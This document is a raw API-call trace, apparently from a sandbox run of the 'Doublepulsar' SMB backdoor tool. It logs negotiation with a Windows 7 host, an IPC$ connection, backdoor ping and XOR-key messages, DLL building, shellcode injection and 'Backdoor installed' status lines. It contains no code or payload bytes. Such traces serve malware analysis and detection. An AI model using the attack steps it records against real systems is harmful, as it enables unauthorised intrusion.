[0120.277] strlen (_Str="LANMAN") returned 0x6 [0120.277] strlen (_Str="LANMAN") returned 0x6 [0120.277] htons (hostshort=0xbd01) returned 0x1bd [0120.277] malloc (_Size=0x400) returned 0xfa4720 [0120.277] strlen (_Str="PC NETWORK PROGRAM 1.0") returned 0x16 [0120.277] strlen (_Str="LANMAN1.0") returned 0x9 [0120.277] strlen (_Str="Windows for Workgroups 3.1a") returned 0x1b [0120.277] strlen (_Str="LM1.2X002") returned 0x9 [0120.277] strlen (_Str="LANMAN2.1") returned 0x9 [0120.277] strlen (_Str="NT LM 0.12") returned 0xa [0120.278] send (s=0x80, buf=0xfb4fa0*, len=137, flags=0) returned 137 [0120.279] select (in: nfds=129, readfds=0xdaf9d8, writefds=0x0, exceptfds=0x0, timeout=0xdafadc*(tv_sec=120, tv_usec=0) | out: readfds=0xdaf9d8, writefds=0x0, exceptfds=0x0) returned 1 [0120.280] recv (in: s=0x80, buf=0xfb2f98, len=8192, flags=0 | out: buf=0xfb2f98*) returned 121 [0120.280] realloc (_Block=0x0, _Size=0x14) returned 0xfa8740 [0120.280] realloc (_Block=0x0, _Size=0x1) returned 0xfaaaf8 [0120.280] realloc (_Block=0xfaaaf8, _Size=0x2) returned 0xfaab08 [0120.280] realloc (_Block=0xfaab08, _Size=0x3) returned 0xfaaaf8 [0120.280] realloc (_Block=0xfaaaf8, _Size=0x4) returned 0xfaab08 [0120.280] realloc (_Block=0xfaab08, _Size=0x5) returned 0xfaaaf8 [0120.280] realloc (_Block=0xfaaaf8, _Size=0x6) returned 0xfaab08 [0120.280] realloc (_Block=0xfaab08, _Size=0x7) returned 0xfaaaf8 [0120.280] realloc (_Block=0xfaaaf8, _Size=0x8) returned 0xfaab08 [0120.280] realloc (_Block=0xfaab08, _Size=0x9) returned 0x10bfb50 [0120.280] realloc (_Block=0x10bfb50, _Size=0xa) returned 0x10bfb08 [0120.280] realloc (_Block=0x0, _Size=0x14) returned 0xfa8720 [0120.280] realloc (_Block=0x0, _Size=0x1) returned 0xfaab08 [0120.280] realloc (_Block=0xfaab08, _Size=0x2) returned 0xfaaaf8 [0120.280] realloc (_Block=0xfaaaf8, _Size=0x3) returned 0xfaab08 [0120.280] realloc (_Block=0xfaab08, _Size=0x4) returned 0xfaaaf8 [0120.280] realloc (_Block=0xfaaaf8, _Size=0x5) returned 0xfaab08 [0120.280] realloc (_Block=0xfaab08, _Size=0x6) returned 0xfaaaf8 [0120.281] realloc (_Block=0xfaaaf8, _Size=0x7) returned 0xfaab08 [0120.281] realloc (_Block=0xfaab08, _Size=0x8) returned 0xfaaaf8 [0120.281] realloc (_Block=0xfaaaf8, _Size=0x9) returned 0x10bfb50 [0120.281] realloc (_Block=0x10bfb50, _Size=0xa) returned 0x10bfe80 [0120.281] realloc (_Block=0x0, _Size=0x1000) returned 0xfb6fa8 [0120.281] realloc (_Block=0x0, _Size=0x1000) returned 0xfb7fb0 [0120.281] send (s=0x80, buf=0xfb4fa0*, len=140, flags=0) returned 140 [0120.281] select (in: nfds=129, readfds=0xdafa28, writefds=0x0, exceptfds=0x0, timeout=0xdafb2c*(tv_sec=120, tv_usec=0) | out: readfds=0xdafa28, writefds=0x0, exceptfds=0x0) returned 1 [0120.281] recv (in: s=0x80, buf=0xfb2f98, len=8192, flags=0 | out: buf=0xfb2f98*) returned 205 [0120.281] realloc (_Block=0x0, _Size=0x1000) returned 0xfb6fa8 [0120.281] realloc (_Block=0x0, _Size=0x1) returned 0xfaaaf8 [0120.282] realloc (_Block=0xfaaaf8, _Size=0x2) returned 0xfaab08 [0120.282] realloc (_Block=0xfaab08, _Size=0x3) returned 0xfaaaf8 [0120.282] realloc (_Block=0xfaaaf8, _Size=0x4) returned 0xfaab08 [0120.282] realloc (_Block=0xfaab08, _Size=0x5) returned 0xfaaaf8 [0120.282] realloc (_Block=0xfaaaf8, _Size=0x6) returned 0xfaab08 [0120.282] realloc (_Block=0xfaab08, _Size=0x7) returned 0xfaaaf8 [0120.282] realloc (_Block=0xfaaaf8, _Size=0x8) returned 0xfaab08 [0120.282] realloc (_Block=0xfaab08, _Size=0x9) returned 0x10bfb50 [0120.282] realloc (_Block=0x10bfb50, _Size=0xa) returned 0x10bfeb0 [0120.282] realloc (_Block=0x10bfeb0, _Size=0xb) returned 0x10bfb50 [0120.282] realloc (_Block=0x10bfb50, _Size=0xc) returned 0x10bfeb0 [0120.282] realloc (_Block=0x10bfeb0, _Size=0xd) returned 0x10bfb50 [0120.282] realloc (_Block=0x10bfb50, _Size=0xe) returned 0x10bfeb0 [0120.282] realloc (_Block=0x10bfeb0, _Size=0xf) returned 0x10bfb50 [0120.282] realloc (_Block=0x10bfb50, _Size=0x10) returned 0x10bfeb0 [0120.282] realloc (_Block=0x10bfeb0, _Size=0x11) returned 0xfa8700 [0120.282] realloc (_Block=0xfa8700, _Size=0x12) returned 0xfa86e0 [0120.282] realloc (_Block=0xfa86e0, _Size=0x13) returned 0xfa8700 [0120.282] realloc (_Block=0xfa8700, _Size=0x14) returned 0xfa86e0 [0120.282] realloc (_Block=0xfa86e0, _Size=0x15) returned 0xfa8700 [0120.282] realloc (_Block=0xfa8700, _Size=0x16) returned 0xfa86e0 [0120.282] realloc (_Block=0xfa86e0, _Size=0x17) returned 0xfa8700 [0120.282] realloc (_Block=0xfa8700, _Size=0x18) returned 0xfa86e0 [0120.282] realloc (_Block=0xfa86e0, _Size=0x19) returned 0xfaae40 [0120.282] realloc (_Block=0xfaae40, _Size=0x1a) returned 0xfab228 [0120.282] realloc (_Block=0xfab228, _Size=0x1b) returned 0xfaae40 [0120.283] realloc (_Block=0xfaae40, _Size=0x1c) returned 0xfab228 [0120.283] realloc (_Block=0xfab228, _Size=0x1d) returned 0xfaae40 [0120.283] realloc (_Block=0xfaae40, _Size=0x1e) returned 0xfab228 [0120.283] realloc (_Block=0xfab228, _Size=0x1f) returned 0xfaae40 [0120.283] realloc (_Block=0xfaae40, _Size=0x20) returned 0xfab228 [0120.283] realloc (_Block=0xfab228, _Size=0x21) returned 0xfa19e0 [0120.283] realloc (_Block=0xfa19e0, _Size=0x22) returned 0xfa1a10 [0120.283] realloc (_Block=0xfa1a10, _Size=0x23) returned 0xfa19e0 [0120.283] realloc (_Block=0xfa19e0, _Size=0x24) returned 0xfa1a10 [0120.283] realloc (_Block=0xfa1a10, _Size=0x25) returned 0xfa19e0 [0120.283] realloc (_Block=0xfa19e0, _Size=0x26) returned 0xfa1a10 [0120.283] realloc (_Block=0xfa1a10, _Size=0x27) returned 0xfa19e0 [0120.283] realloc (_Block=0xfa19e0, _Size=0x28) returned 0xfa1a10 [0120.283] realloc (_Block=0xfa1a10, _Size=0x29) returned 0xfacb18 [0120.283] realloc (_Block=0xfacb18, _Size=0x2a) returned 0xfacae0 [0120.283] realloc (_Block=0xfacae0, _Size=0x2b) returned 0xfacb18 [0120.283] realloc (_Block=0x0, _Size=0x1000) returned 0xfb6fa8 [0120.283] realloc (_Block=0x0, _Size=0x1) returned 0xfaab08 [0120.283] realloc (_Block=0xfaab08, _Size=0x2) returned 0xfaaaf8 [0120.283] realloc (_Block=0xfaaaf8, _Size=0x3) returned 0xfaab08 [0120.283] realloc (_Block=0xfaab08, _Size=0x4) returned 0xfaaaf8 [0120.283] realloc (_Block=0xfaaaf8, _Size=0x5) returned 0xfaab08 [0120.283] realloc (_Block=0xfaab08, _Size=0x6) returned 0xfaaaf8 [0120.283] realloc (_Block=0xfaaaf8, _Size=0x7) returned 0xfaab08 [0120.283] realloc (_Block=0xfaab08, _Size=0x8) returned 0xfaaaf8 [0120.284] realloc (_Block=0xfaaaf8, _Size=0x9) returned 0x10bfeb0 [0120.284] realloc (_Block=0x10bfeb0, _Size=0xa) returned 0x10bfb50 [0120.284] realloc (_Block=0x10bfb50, _Size=0xb) returned 0x10bfeb0 [0120.284] realloc (_Block=0x10bfeb0, _Size=0xc) returned 0x10bfb50 [0120.284] realloc (_Block=0x10bfb50, _Size=0xd) returned 0x10bfeb0 [0120.284] realloc (_Block=0x10bfeb0, _Size=0xe) returned 0x10bfb50 [0120.284] realloc (_Block=0x10bfb50, _Size=0xf) returned 0x10bfeb0 [0120.284] realloc (_Block=0x10bfeb0, _Size=0x10) returned 0x10bfb50 [0120.284] realloc (_Block=0x10bfb50, _Size=0x11) returned 0xfa86e0 [0120.284] realloc (_Block=0xfa86e0, _Size=0x12) returned 0xfa8700 [0120.284] realloc (_Block=0xfa8700, _Size=0x13) returned 0xfa86e0 [0120.284] realloc (_Block=0xfa86e0, _Size=0x14) returned 0xfa8700 [0120.284] realloc (_Block=0xfa8700, _Size=0x15) returned 0xfa86e0 [0120.284] realloc (_Block=0xfa86e0, _Size=0x16) returned 0xfa8700 [0120.284] realloc (_Block=0xfa8700, _Size=0x17) returned 0xfa86e0 [0120.284] realloc (_Block=0xfa86e0, _Size=0x18) returned 0xfa8700 [0120.284] realloc (_Block=0xfa8700, _Size=0x19) returned 0xfab228 [0120.284] realloc (_Block=0xfab228, _Size=0x1a) returned 0xfaae40 [0120.284] realloc (_Block=0xfaae40, _Size=0x1b) returned 0xfab228 [0120.285] realloc (_Block=0xfa8740, _Size=0x1014) returned 0xfb6fa8 [0120.285] realloc (_Block=0x10bfb08, _Size=0xb) returned 0x10bfb50 [0120.285] realloc (_Block=0x10bfb50, _Size=0xc) returned 0x10bfb08 [0120.285] realloc (_Block=0x10bfb08, _Size=0xd) returned 0x10bfb50 [0120.285] realloc (_Block=0x10bfb50, _Size=0xe) returned 0x10bfb08 [0120.285] realloc (_Block=0x10bfb08, _Size=0xf) returned 0x10bfb50 [0120.285] realloc (_Block=0x10bfb50, _Size=0x10) returned 0x10bfb08 [0120.285] realloc (_Block=0x10bfb08, _Size=0x11) returned 0xfa8740 [0120.285] realloc (_Block=0xfa8740, _Size=0x12) returned 0xfa8700 [0120.285] realloc (_Block=0xfa8700, _Size=0x13) returned 0xfa8740 [0120.285] realloc (_Block=0xfa8740, _Size=0x14) returned 0xfa8700 [0120.285] strlen (_Str="?????") returned 0x5 [0120.285] strncpy (in: _Dest=0xdaf874, _Source="\\\\", _Count=0x31f | out: _Dest="\\\\") returned="\\\\" [0120.285] strlen (_Str="\\\\") returned 0x2 [0120.285] inet_ntoa (in=0xab00a8c0) returned="192.168.0.171" [0120.285] strncat (in: _Dest=0xdaf874, _Source="192.168.0.171", _Count=0x31d | out: _Dest="\\\\192.168.0.171") returned="\\\\192.168.0.171" [0120.285] strlen (_Str="\\\\192.168.0.171") returned 0xf [0120.285] strncat (in: _Dest=0xdaf874, _Source="\\", _Count=0x310 | out: _Dest="\\\\192.168.0.171\\") returned="\\\\192.168.0.171\\" [0120.285] strlen (_Str="\\\\192.168.0.171\\") returned 0x10 [0120.285] strncat (in: _Dest=0xdaf874, _Source="IPC$", _Count=0x30f | out: _Dest="\\\\192.168.0.171\\IPC$") returned="\\\\192.168.0.171\\IPC$" [0120.285] strlen (_Str="\\\\192.168.0.171\\IPC$") returned 0x14 [0120.285] realloc (_Block=0x0, _Size=0x1000) returned 0xfb7fc8 [0120.285] send (s=0x80, buf=0xfb4fa0*, len=96, flags=0) returned 96 [0120.285] select (in: nfds=129, readfds=0xdafa28, writefds=0x0, exceptfds=0x0, timeout=0xdafb2c*(tv_sec=120, tv_usec=0) | out: readfds=0xdafa28, writefds=0x0, exceptfds=0x0) returned 1 [0120.286] recv (in: s=0x80, buf=0xfb2f98, len=8192, flags=0 | out: buf=0xfb2f98*) returned 60 [0120.286] strlen (_Str="lanman") returned 0x6 [0120.286] strcmp (_Str1="lanman", _Str2="lanman") returned 0 [0120.286] free (_Block=0xfb4fa0) [0120.286] _vsnprintf (in: _DstBuf=0xdaf9f4, _MaxCount=0x3ff, _Format="[+] Connected to target, pinging backdoor...\n", _ArgList=0xdafe00 | out: _DstBuf="[+] Connected to target, pinging backdoor...\n") returned 45 [0120.286] vfprintf (in: _File=0x76be2920, _Format="[+] Connected to target, pinging backdoor...\n", _ArgList=0xdaf9d8 | out: _File=0x76be2920) returned 45 [0120.287] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.287] realloc (_Block=0x0, _Size=0x1000) returned 0xfb7fc8 [0120.287] srand (_Seed=0x3b5a7) [0120.287] rand () returned 7504 [0120.287] rand () returned 12152 [0120.287] rand () returned 25410 [0120.287] rand () returned 20430 [0120.287] realloc (_Block=0x0, _Size=0x1000) returned 0xfb4fa0 [0120.287] send (s=0x80, buf=0xfb4fa0*, len=82, flags=0) returned 82 [0120.287] select (in: nfds=129, readfds=0xdafc10, writefds=0x0, exceptfds=0x0, timeout=0xdafd14*(tv_sec=120, tv_usec=0) | out: readfds=0xdafc10, writefds=0x0, exceptfds=0x0) returned 1 [0120.287] recv (in: s=0x80, buf=0xfb7fc8, len=4096, flags=0 | out: buf=0xfb7fc8*) returned 39 [0120.287] _vsnprintf (in: _DstBuf=0xdaf988, _MaxCount=0x3ff, _Format="\x09[+] Backdoor returned code: %X - Success!\n", _ArgList=0xdafd94 | out: _DstBuf="\x09[+] Backdoor returned code: 10 - Success!\n") returned 43 [0120.287] vfprintf (in: _File=0x76be2920, _Format="\x09[+] Backdoor returned code: 10 - Success!\n", _ArgList=0xdaf96c | out: _File=0x76be2920) returned 43 [0120.288] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.288] _vsnprintf (in: _DstBuf=0xdaf984, _MaxCount=0x3ff, _Format="\x09[+] Ping returned Target architecture: %s - XOR Key: 0x%08X\n", _ArgList=0xdafd90 | out: _DstBuf="\x09[+] Ping returned Target architecture: x64 (64-bit) - XOR Key: 0x3B544D60\n") returned 75 [0120.288] vfprintf (in: _File=0x76be2920, _Format="\x09[+] Ping returned Target architecture: x64 (64-bit) - XOR Key: 0x3B544D60\n", _ArgList=0xdaf968 | out: _File=0x76be2920) returned 75 [0120.289] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.289] free (_Block=0xfb4fa0) [0120.289] free (_Block=0xfb7fc8) [0120.289] _vsnprintf (in: _DstBuf=0xdaf9c8, _MaxCount=0x3ff, _Format=" SMB Connection string is: %s\n", _ArgList=0xdafdd4 | out: _DstBuf=" SMB Connection string is: Windows 7 Professional 7601 Service Pack 1\n") returned 73 [0120.289] vfprintf (in: _File=0x76be2920, _Format=" SMB Connection string is: Windows 7 Professional 7601 Service Pack 1\n", _ArgList=0xdaf9ac | out: _File=0x76be2920) returned 73 [0120.289] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.290] strstr (_Str="Windows 7 Professional 7601 Service Pack 1", _SubStr="Pack 1") returned="Pack 1" [0120.290] strstr (_Str="Windows 7 Professional 7601 Service Pack 1", _SubStr="Pack 2") returned 0x0 [0120.290] strstr (_Str="Windows 7 Professional 7601 Service Pack 1", _SubStr="Pack 3") returned 0x0 [0120.290] strstr (_Str="Windows 7 Professional 7601 Service Pack 1", _SubStr="5.1") returned 0x0 [0120.290] strstr (_Str="Windows 7 Professional 7601 Service Pack 1", _SubStr="XP") returned 0x0 [0120.290] strstr (_Str="Windows 7 Professional 7601 Service Pack 1", _SubStr="2003") returned 0x0 [0120.290] strstr (_Str="Windows 7 Professional 7601 Service Pack 1", _SubStr="Vista") returned 0x0 [0120.290] strstr (_Str="Windows 7 Professional 7601 Service Pack 1", _SubStr="(R) 2008") returned 0x0 [0120.290] strstr (_Str="Windows 7 Professional 7601 Service Pack 1", _SubStr="ws 7") returned="ws 7 Professional 7601 Service Pack 1" [0120.290] _vsnprintf (in: _DstBuf=0xdaf9c4, _MaxCount=0x3ff, _Format=" Target OS is: 7 %s\n", _ArgList=0xdafdd0 | out: _DstBuf=" Target OS is: 7 x64\n") returned 24 [0120.290] vfprintf (in: _File=0x76be2920, _Format=" Target OS is: 7 x64\n", _ArgList=0xdaf9a8 | out: _File=0x76be2920) returned 24 [0120.290] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.290] _vsnprintf (in: _DstBuf=0xdaf9c8, _MaxCount=0x3ff, _Format=" Target SP is: %d\n", _ArgList=0xdafdd4 | out: _DstBuf=" Target SP is: 1\n") returned 20 [0120.291] vfprintf (in: _File=0x76be2920, _Format=" Target SP is: 1\n", _ArgList=0xdaf9ac | out: _File=0x76be2920) returned 20 [0120.291] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.291] _vsnprintf (in: _DstBuf=0xdaf9f0, _MaxCount=0x3ff, _Format="\x09[+] Backdoor installed\n", _ArgList=0xdafdfc | out: _DstBuf="\x09[+] Backdoor installed\n") returned 24 [0120.291] vfprintf (in: _File=0x76be2920, _Format="\x09[+] Backdoor installed\n", _ArgList=0xdaf9d4 | out: _File=0x76be2920) returned 24 [0120.292] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.292] htons (hostshort=0x1122) returned 0x2211 [0120.292] malloc (_Size=0x2000) returned 0xfb4fa0 [0120.292] rand () returned 24156 [0120.292] rand () returned 12879 [0120.292] rand () returned 785 [0120.292] rand () returned 2216 [0120.292] malloc (_Size=0x18) returned 0xfa8740 [0120.292] realloc (_Block=0x0, _Size=0x6) returned 0xfaaaf8 [0120.292] realloc (_Block=0x0, _Size=0xa) returned 0x10bfb08 [0120.292] strlen (_Str="LANMAN") returned 0x6 [0120.292] realloc (_Block=0x0, _Size=0x7) returned 0xfaab08 [0120.292] strlen (_Str="IPC$") returned 0x4 [0120.292] realloc (_Block=0x0, _Size=0x5) returned 0xfaaae8 [0120.292] strlen (_Str="Windows 2000 2195") returned 0x11 [0120.292] realloc (_Block=0x0, _Size=0x12) returned 0xfa86e0 [0120.292] strlen (_Str="Windows 2000 5.0") returned 0x10 [0120.292] realloc (_Block=0x0, _Size=0x11) returned 0xfa86c0 [0120.293] strlen (_Str="") returned 0x0 [0120.293] realloc (_Block=0x0, _Size=0x876) returned 0xfbbfd8 [0120.293] realloc (_Block=0xfbbfd8, _Size=0x17f8) returned 0xfbc858 [0120.293] realloc (_Block=0xfbc858, _Size=0x27f8) returned 0xfbe058 [0120.293] realloc (_Block=0xfbe058, _Size=0x2c00) returned 0xfbe058 [0120.293] _vsnprintf (in: _DstBuf=0xdaf9f0, _MaxCount=0x3ff, _Format="\x09[+] DLL built\n", _ArgList=0xdafdfc | out: _DstBuf="\x09[+] DLL built\n") returned 15 [0120.293] vfprintf (in: _File=0x76be2920, _Format="\x09[+] DLL built\n", _ArgList=0xdaf9d4 | out: _File=0x76be2920) returned 15 [0120.294] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.294] _vsnprintf (in: _DstBuf=0xdaf9ec, _MaxCount=0x3ff, _Format="\x09[.] Sending shellcode to inject DLL\n", _ArgList=0xdafdf8 | out: _DstBuf="\x09[.] Sending shellcode to inject DLL\n") returned 37 [0120.294] vfprintf (in: _File=0x76be2920, _Format="\x09[.] Sending shellcode to inject DLL\n", _ArgList=0xdaf9d0 | out: _File=0x76be2920) returned 37 [0120.295] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.295] realloc (_Block=0x0, _Size=0x2c00) returned 0xfbbfd8 [0120.295] realloc (_Block=0x0, _Size=0x1000) returned 0xfc3868 [0120.295] srand (_Seed=0x3b5a7) [0120.295] rand () returned 7504 [0120.295] rand () returned 12152 [0120.295] rand () returned 25410 [0120.295] rand () returned 20430 [0120.295] realloc (_Block=0x0, _Size=0x1000) returned 0xfbebe0 [0120.295] realloc (_Block=0xfbebe0, _Size=0x1052) returned 0xfbebe0 [0120.295] send (s=0x80, buf=0xfbebe0*, len=4178, flags=0) returned 4178 [0120.295] select (in: nfds=129, readfds=0xdafbf0, writefds=0x0, exceptfds=0x0, timeout=0xdafcf4*(tv_sec=120, tv_usec=0) | out: readfds=0xdafbf0, writefds=0x0, exceptfds=0x0) returned 1 [0120.295] recv (in: s=0x80, buf=0xfc3868, len=4096, flags=0 | out: buf=0xfc3868*) returned 39 [0120.296] _vsnprintf (in: _DstBuf=0xdaf968, _MaxCount=0x3ff, _Format="\x09[+] Backdoor returned code: %X - Success!\n", _ArgList=0xdafd74 | out: _DstBuf="\x09[+] Backdoor returned code: 10 - Success!\n") returned 43 [0120.296] vfprintf (in: _File=0x76be2920, _Format="\x09[+] Backdoor returned code: 10 - Success!\n", _ArgList=0xdaf94c | out: _File=0x76be2920) returned 43 [0120.296] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.296] free (_Block=0xfbebe0) [0120.297] GetTickCount () returned 0x11ec2a7 [0120.297] srand (_Seed=0x11ec2a7) [0120.297] rand () returned 28787 [0120.297] rand () returned 692 [0120.297] rand () returned 5028 [0120.297] rand () returned 4205 [0120.297] realloc (_Block=0x0, _Size=0x1000) returned 0xfbebe0 [0120.297] realloc (_Block=0xfbebe0, _Size=0x1052) returned 0xfbebe0 [0120.297] send (s=0x80, buf=0xfbebe0*, len=4178, flags=0) returned 4178 [0120.297] select (in: nfds=129, readfds=0xdafbf0, writefds=0x0, exceptfds=0x0, timeout=0xdafcf4*(tv_sec=120, tv_usec=0) | out: readfds=0xdafbf0, writefds=0x0, exceptfds=0x0) returned 1 [0120.297] recv (in: s=0x80, buf=0xfc3868, len=4096, flags=0 | out: buf=0xfc3868*) returned 39 [0120.297] _vsnprintf (in: _DstBuf=0xdaf968, _MaxCount=0x3ff, _Format="\x09[+] Backdoor returned code: %X - Success!\n", _ArgList=0xdafd74 | out: _DstBuf="\x09[+] Backdoor returned code: 10 - Success!\n") returned 43 [0120.297] vfprintf (in: _File=0x76be2920, _Format="\x09[+] Backdoor returned code: 10 - Success!\n", _ArgList=0xdaf94c | out: _File=0x76be2920) returned 43 [0120.298] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.298] free (_Block=0xfbebe0) [0120.298] GetTickCount () returned 0x1207057 [0120.298] srand (_Seed=0x1207057) [0120.298] rand () returned 27553 [0120.298] rand () returned 23186 [0120.298] rand () returned 32465 [0120.298] rand () returned 2444 [0120.298] realloc (_Block=0x0, _Size=0x1000) returned 0xfbebe0 [0120.298] send (s=0x80, buf=0xfbebe0*, len=3154, flags=0) returned 3154 [0120.298] select (in: nfds=129, readfds=0xdafbf0, writefds=0x0, exceptfds=0x0, timeout=0xdafcf4*(tv_sec=120, tv_usec=0) | out: readfds=0xdafbf0, writefds=0x0, exceptfds=0x0) returned 1 [0120.299] recv (in: s=0x80, buf=0xfc3868, len=4096, flags=0 | out: buf=0xfc3868*) returned 39 [0120.299] _vsnprintf (in: _DstBuf=0xdaf968, _MaxCount=0x3ff, _Format="\x09[+] Backdoor returned code: %X - Success!\n", _ArgList=0xdafd74 | out: _DstBuf="\x09[+] Backdoor returned code: 10 - Success!\n") returned 43 [0120.299] vfprintf (in: _File=0x76be2920, _Format="\x09[+] Backdoor returned code: 10 - Success!\n", _ArgList=0xdaf94c | out: _File=0x76be2920) returned 43 [0120.304] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0120.304] free (_Block=0xfbebe0) [0120.304] free (_Block=0xfc3868) [0120.304] free (_Block=0xfbbfd8) [0120.304] Sleep (dwMilliseconds=0x1388) [0125.335] _vsnprintf (in: _DstBuf=0xdaf9ec, _MaxCount=0x3ff, _Format="\x09[+] Command completed successfully\n", _ArgList=0xdafdf8 | out: _DstBuf="\x09[+] Command completed successfully\n") returned 36 [0125.335] vfprintf (in: _File=0x76be2920, _Format="\x09[+] Command completed successfully\n", _ArgList=0xdaf9d0 | out: _File=0x76be2920) returned 36 [0125.336] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0125.336] malloc (_Size=0x2000) returned 0xfbbfd8 [0125.336] malloc (_Size=0x2000) returned 0xfbdfe0 [0125.336] send (s=0x80, buf=0xfbbfd8*, len=39, flags=0) returned 39 [0125.336] select (in: nfds=129, readfds=0xdafc08, writefds=0x0, exceptfds=0x0, timeout=0xdafd0c*(tv_sec=120, tv_usec=0) | out: readfds=0xdafc08, writefds=0x0, exceptfds=0x0) returned 1 [0125.337] recv (in: s=0x80, buf=0xfbdfe0, len=8192, flags=0 | out: buf=0xfbdfe0*) returned 39 [0125.337] send (s=0x80, buf=0xfbbfd8*, len=43, flags=0) returned 43 [0125.337] select (in: nfds=129, readfds=0xdafc14, writefds=0x0, exceptfds=0x0, timeout=0xdafd18*(tv_sec=120, tv_usec=0) | out: readfds=0xdafc14, writefds=0x0, exceptfds=0x0) returned 1 [0125.337] recv (in: s=0x80, buf=0xfbdfe0, len=8192, flags=0 | out: buf=0xfbdfe0*) returned 43 [0125.337] free (_Block=0xfbbfd8) [0125.337] free (_Block=0xfbdfe0) [0125.337] closesocket (s=0x80) returned 0 [0125.337] free (_Block=0xfb0f90) [0125.337] free (_Block=0xfb2f98) [0125.337] free (_Block=0xfaef88) [0125.337] free (_Block=0xfaaab8) [0125.338] free (_Block=0xfaaaa8) [0125.338] free (_Block=0xfa8780) [0125.338] free (_Block=0xfa8760) [0125.338] free (_Block=0xfacb18) [0125.338] free (_Block=0xfab228) [0125.338] free (_Block=0xfa8700) [0125.338] free (_Block=0x10bfe80) [0125.338] free (_Block=0xfb6fa8) [0125.338] free (_Block=0xfa8720) [0125.338] free (_Block=0xfaab38) [0125.338] free (_Block=0x10bfb68) [0125.338] free (_Block=0xfa8620) [0125.338] free (_Block=0xfadef0) [0125.338] strcmp (_Str1="UTF-8", _Str2="UTF-8") returned 0 [0125.338] malloc (_Size=0x6) returned 0xfaab38 [0125.338] strcmp (_Str1="UTF-8", _Str2="UTF-8") returned 0 [0125.338] malloc (_Size=0x20) returned 0xfab228 [0125.338] malloc (_Size=0x14) returned 0xfa8720 [0125.338] GetCurrentThreadId () returned 0x1420 [0125.338] GetCurrentThreadId () returned 0x1420 [0125.338] malloc (_Size=0x1000) returned 0xfc3868 [0125.338] malloc (_Size=0x14) returned 0xfa8700 [0125.338] GetCurrentThreadId () returned 0x1420 [0125.339] malloc (_Size=0xfa2) returned 0xfbbfd8 [0125.339] malloc (_Size=0x60) returned 0xfa4540 [0125.339] malloc (_Size=0x4) returned 0xfaaaa8 [0125.339] strlen (_Str="urn:trch") returned 0x8 [0125.339] calloc (_Count=0x9, _Size=0x1) returned 0x10bfb68 [0125.339] _mbscpy (in: param_1=0x10bfb68, param_2=0xfad1b0 | out: param_1=0x10bfb68) returned 0x10bfb68 [0125.339] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.339] malloc (_Size=0x3c) returned 0xfac3d0 [0125.339] malloc (_Size=0x7) returned 0xfaaab8 [0125.339] strlen (_Str="a748cf79831d6c2444050f18217611549fe3f619") returned 0x28 [0125.339] calloc (_Count=0x29, _Size=0x1) returned 0xfacb18 [0125.339] _mbscpy (in: param_1=0xfacb18, param_2=0xfacbc0 | out: param_1=0xfacb18) returned 0xfacb18 [0125.339] malloc (_Size=0x30) returned 0xfacae0 [0125.339] malloc (_Size=0x3) returned 0xfaaac8 [0125.339] strlen (_Str="1.3.1.0") returned 0x7 [0125.339] calloc (_Count=0x8, _Size=0x1) returned 0xfaaad8 [0125.339] _mbscpy (in: param_1=0xfaaad8, param_2=0xfaac18 | out: param_1=0xfaaad8) returned 0xfaaad8 [0125.339] malloc (_Size=0x30) returned 0xfaca70 [0125.339] malloc (_Size=0xe) returned 0x10bfe80 [0125.339] strlen (_Str="Doublepulsar") returned 0xc [0125.339] calloc (_Count=0xd, _Size=0x1) returned 0x10bfb50 [0125.339] _mbscpy (in: param_1=0x10bfb50, param_2=0x10bfb38 | out: param_1=0x10bfb50) returned 0x10bfb50 [0125.339] malloc (_Size=0x30) returned 0xfaca38 [0125.339] malloc (_Size=0x5) returned 0xfaaa48 [0125.339] strlen (_Str="1.3.1") returned 0x5 [0125.339] calloc (_Count=0x6, _Size=0x1) returned 0xfaaa88 [0125.339] _mbscpy (in: param_1=0xfaaa88, param_2=0xfaac28 | out: param_1=0xfaaa88) returned 0xfaaa88 [0125.339] malloc (_Size=0x30) returned 0xfac920 [0125.339] malloc (_Size=0x8) returned 0xfaaa98 [0125.339] strlen (_Str="2.0.0") returned 0x5 [0125.339] calloc (_Count=0x6, _Size=0x1) returned 0xfaaa58 [0125.339] _mbscpy (in: param_1=0xfaaa58, param_2=0xfaac38 | out: param_1=0xfaaa58) returned 0xfaaa58 [0125.339] malloc (_Size=0x30) returned 0xfac8e8 [0125.340] malloc (_Size=0xe) returned 0x10bfe98 [0125.340] strlen (_Str="inputparameters") returned 0xf [0125.340] calloc (_Count=0x10, _Size=0x1) returned 0x10bfec8 [0125.340] _mbscpy (in: param_1=0x10bfec8, param_2=0x10bfb80 | out: param_1=0x10bfec8) returned 0x10bfec8 [0125.340] malloc (_Size=0x3c) returned 0xfac2b0 [0125.340] malloc (_Size=0x10) returned 0x10bfd48 [0125.340] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0125.340] malloc (_Size=0x3c) returned 0xfac268 [0125.340] malloc (_Size=0xa) returned 0x10bfd78 [0125.340] strlen (_Str="NetworkTimeout") returned 0xe [0125.340] calloc (_Count=0xf, _Size=0x1) returned 0x10bfd60 [0125.340] _mbscpy (in: param_1=0x10bfd60, param_2=0xfad1f8 | out: param_1=0x10bfd60) returned 0x10bfd60 [0125.340] malloc (_Size=0x30) returned 0xfaca00 [0125.340] malloc (_Size=0x5) returned 0xfaa9c8 [0125.340] strlen (_Str="Timeout for blocking network calls (in seconds). Use -1 for no timeout.") returned 0x48 [0125.340] calloc (_Count=0x49, _Size=0x1) returned 0xfaa8d8 [0125.340] _mbscpy (in: param_1=0xfaa8d8, param_2=0xfa45c8 | out: param_1=0xfaa8d8) returned 0xfaa8d8 [0125.340] malloc (_Size=0x30) returned 0xfac9c8 